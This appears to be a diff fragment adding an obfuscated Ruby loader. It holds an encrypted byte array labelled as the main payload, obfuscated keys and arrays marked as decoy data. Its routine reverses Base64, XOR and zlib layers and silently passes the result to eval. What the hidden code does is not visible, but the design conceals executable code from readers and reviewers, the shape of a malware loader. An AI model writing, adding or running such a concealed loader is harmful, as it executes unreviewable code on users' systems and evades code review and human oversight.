153, 3, 11, 224, 232, 250, 127, 159, 107, 244, 27, 4, 145, 37, 224, 19, 182, 135, 73, 159, 38, 174, 208, 166, 173, 157, 126, 248, 155, 220, 227, 35, 157, 49, 11, 151, 37, 243, 149, 21, 29, 53, 138, 144, 39, 81, 102, 124, 105, 97, 134, 75, 169, 116, 222, 210, 21, 70, 231, 215, 193, 133, 174, 117, 53, 50, 76, 116, 210, 236, 178, 252, 38, 43, 222, 194, 245, 101, 167, 8, 189, 111, 233, 239, 189, 30, 245, 0, 3, 189, 180, 132, 221, 72, 142, 236, 138, 231, 191, 57, 14, 235, 5, 40, 125, 137, 21, 122, 20, 152, 193, 45, 105, 21, 148, 214, 85, 154, 120, 132, 135, 216, 78, 162, 128, 233, 154, 43, 247, 50, 96, 60, 192, 7, 181, 91, 18, 196, 232, 117, 140, 8, 88, 29, 253, 133, 131, 234, 43, 200, 149, 198, 116, 175, 235, 121, 116, 216, 83, 48, 143, 167, 230, 41, 196, 31, 250, 174, 254, 16, 144, 45, 182, 172, 138, 70, 1, 157, 88, 149, 83, 117, 51, 144, 242, 241, 124, 202, 167, 219, 239, 233, 22, 181, 197, 26, 126, 212, 29, 214, 246, 160, 97, 2, 190, 80, 156, 25, 236, 163, 151, 7, 227, 25, 168, 56, 239, 72, 63, 236, 206, 114, 78, 192, 49, 210, 232, 150, 64, 41, 253, 163, 66, 53, 107, 41, 248, 41, 167, 223, 165, 253, 92, 88, 151, 99, 209, 225, 78, 211, 135, 223, 104, 31, 64, 45, 153, 49, 133, 69, 184, 157, 238, 79, 6, 67, 171, 36, 33, 24, 109, 76, 230, 43, 137, 109, 139, 56, 128, 26, 223, 233, 4, 61, 11, 134, 62, 236, 119, 27, 231, 212, 19, 205, 50, 145, 70, 236, 248, 41, 95, 62, 213, 215, 89, 90, 189, 44, 51, 23, 40, 73, 21, 39, 128, 80, 90, 223, 201, 32, 161, 227, 116, 183, 155, 126, 26, 234, 142, 26, 143, 64, 94, 96, 107, 159, 1, 204, 46, 74, 40, 185, 236, 221, 46, 250, 72, 137, 229, 210, 218, 83, 157, 75, 198, 81, 221, 38, 141, 45, 49, 189, 25, 16, 110, 200, 94, 190, 54, 230, 207, 182, 1, 228, 150, 226, 50, 142, 139, 195, 130, 165, 122, 249, 46, 105, 146, 66, 207, 77, 250, 29, 10, 75, 93, 23, 118, 191, 174, 240, 50, 234, 26, 116, 170, 94, 110, 183, 12, 110, 180, 220, 169, 127, 208, 62, 21, 20, 69, 238, 45, 229, 195, 162, 92, 44, 208, 6, 67, 245, 236, 208, 20, 45, 11, 176, 166, 206, 60, 158, 138, 182, 54, 89, 103, 105, 220, 21, 71, 105, 56, 34, 86, 22, 87, 222, 20, 249, 139, 128, 70, 13, 230, 254, 117, 150, 162, 140, 219, 214, 72, 213, 28, 192, 153, 57, 238, 33, 115, 242, 222, 182, 0, 34, 69, 76, 52, 18, 214, 69, 233, 163, 105, 138, 89, 57, 152, 162, 113, 232, 20, 141, 222, 213, 201, 226, 67, 99, 125, 108, 185, 16, 22, 206, 167, 64, 12, 175, 236, 180, 133, 195, 11, 176] # Main encrypted payload
|
|
52
|
+
|
|
53
|
+
# === EMBEDDED KEYS (obfuscated) ===
|
|
54
|
+
_aa6da00 = [82, 70, 15, 202, 157, 245, 180, 128, 7, 221, 130, 55, 92, 56, 2, 35, 83, 203, 240, 71]
|
|
55
|
+
|
|
56
|
+
# === ENCODING TYPE TRACKER ===
|
|
57
|
+
_cab26b5 = [0, 0, 0, 1, 0]
|
|
58
|
+
|
|
59
|
+
# === STORED CHECKSUM ===
|
|
60
|
+
_i77388a = 'ea68e69963008efc490db7bd39396115246b7e340e77ecc80f2960d7b9327e99'
|
|
61
|
+
|
|
62
|
+
# === DECOY DATA (distraction) ===
|
|
63
|
+
_a9f7b74 = [44, 243, 46, 21, 174, 133, 91, 44, 76, 32, 93, 136, 241, 198, 197, 50, 121, 147, 137, 225, 145, 230, 121, 8, 77, 210, 39, 230, 153, 160, 177, 21, 45, 173, 74, 137, 213, 227, 251, 65, 16, 131, 113, 67, 177, 228, 141, 150, 36, 21, 43, 33, 230, 26, 245, 39, 73, 79, 103, 166, 147, 196, 177, 241, 54, 143, 79, 32, 185, 8, 211, 100, 2, 134, 230, 112, 53, 203, 41, 0, 168, 189, 33, 44, 225, 96, 46, 95, 146, 0, 13, 181, 142, 166, 254, 60, 126, 218, 66, 150, 101, 239, 217, 150, 203, 29, 225, 58, 183, 24, 65, 221, 178, 25, 110, 112, 239, 10, 100]
|
|
64
|
+
_p2d77da = [167, 75, 81, 15, 11, 60, 35, 176, 178, 22, 252, 117, 198, 55, 230, 141, 95, 194, 201, 191, 242, 153, 14, 11, 126, 233, 173, 202, 41, 94, 122, 143, 109, 59, 60, 79, 42, 176, 32, 81, 239, 65, 95, 154, 191, 10, 239, 197, 227, 113, 203, 88, 93, 197, 82, 71, 232, 99, 17, 170, 168, 95, 224, 75, 233, 176, 244, 208, 211, 6, 224, 234, 74, 133, 90, 239, 219, 145, 148, 214, 219, 57, 252, 32, 72, 5, 209, 41, 24, 87, 125, 203, 248, 57, 101, 76, 189, 170]
|
|
65
|
+
_hab1074 = [81, 189, 86, 158, 98, 247, 246, 66, 130, 143, 101, 45, 16, 98, 217, 101, 150, 201, 90, 225, 243, 48, 19, 153, 196, 179, 199, 9, 231, 137, 233, 229, 199, 180, 232, 95, 200, 89, 139, 114, 98, 17, 172, 146, 52, 87, 111, 112, 120, 219, 180, 152, 214, 56, 191, 62, 82, 236, 127, 41, 29, 42, 25, 201, 62, 70, 10, 57, 109, 16, 44, 139, 186, 147, 216, 112, 126, 106, 202, 114, 211, 85, 69, 21, 87, 133, 87, 146, 205, 214, 65, 161, 112, 42, 134, 128, 66, 194, 104, 45, 28, 90, 42, 139, 179, 53, 154, 225, 224, 226, 44, 139, 111, 93, 176, 15, 26, 187, 135, 75, 210, 234, 86, 111, 59, 9, 46, 225, 58, 120, 182, 117, 101, 161, 235, 64, 200, 245, 0, 146, 239, 73, 15, 238]
|
|
66
|
+
|
|
67
|
+
# === FIXED DECRYPTION ALGORITHM ===
|
|
68
|
+
begin
|
|
69
|
+
# 1. Verify integrity BEFORE decryption
|
|
70
|
+
unless _q2d2a78.call(_c2391cf, _cab26b5, _aa6da00, _i77388a)
|
|
71
|
+
raise "Integrity verification failed"
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
# 2. Start with the encrypted data
|
|
75
|
+
_xfcd8e2 = _c2391cf.dup
|
|
76
|
+
|
|
77
|
+
# 3. Decryption loop (must reverse encryption steps)
|
|
78
|
+
5.times do |_jfbae94|
|
|
79
|
+
# Calculate which round we're reversing
|
|
80
|
+
_r868a8a = 5 - _jfbae94 - 1
|
|
81
|
+
|
|
82
|
+
# Get key for this reverse round
|
|
83
|
+
_k878c7b = 4
|
|
84
|
+
_xceb4c7 = _r868a8a * _k878c7b
|
|
85
|
+
_r7cd021 = _aa6da00[_xceb4c7, _k878c7b]
|
|
86
|
+
|
|
87
|
+
# DECRYPTION STEPS (REVERSED ORDER from encryption):
|
|
88
|
+
# Encryption was: Compress → XOR → (Maybe) Base64
|
|
89
|
+
# Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
|
|
90
|
+
|
|
91
|
+
# A. Base64 decode if this round used it
|
|
92
|
+
if _cab26b5[_r868a8a] == 1
|
|
93
|
+
_z78fca1 = _xfcd8e2.pack('C*')
|
|
94
|
+
_z78fca1 = Base64.strict_decode64(_z78fca1)
|
|
95
|
+
_xfcd8e2 = _z78fca1.bytes
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
# B. XOR decrypt with the key
|
|
99
|
+
_xfcd8e2 = _x936993.call(_xfcd8e2, _r7cd021)
|
|
100
|
+
|
|
101
|
+
# C. Inflate (decompress) the data
|
|
102
|
+
_z78fca1 = _xfcd8e2.pack('C*')
|
|
103
|
+
_z78fca1 = Zlib::Inflate.inflate(_z78fca1)
|
|
104
|
+
_xfcd8e2 = _z78fca1.bytes
|
|
105
|
+
end
|
|
106
|
+
|
|
107
|
+
# 4. Final verification and execution
|
|
108
|
+
_db430cc = _xfcd8e2.pack('C*')
|
|
109
|
+
|
|
110
|
+
# Quick syntax check before eval
|
|
111
|
+
if _db430cc.strip.empty? || _db430cc.length < 10
|
|
112
|
+
raise "Decryption resulted in invalid code"
|
|
113
|
+
end
|
|
114
|
+
|
|
115
|
+
# No user-facing output here; the loader should not print this during decryption
|
|
116
|
+
eval(_db430cc, binding, __FILE__, __LINE__)
|
|
117
|
+
|
|
118
|
+
rescue => _he4d0d8
|
|
119
|
+
# Graceful error handling
|
|
120
|
+
warn "DECRYPTION ERROR: #{_he4d0d8.message}"
|
|
121
|
+
warn "This file appears to be corrupted or tampered with."
|
|
122
|
+
exit 1
|
|
123
|
+
end
|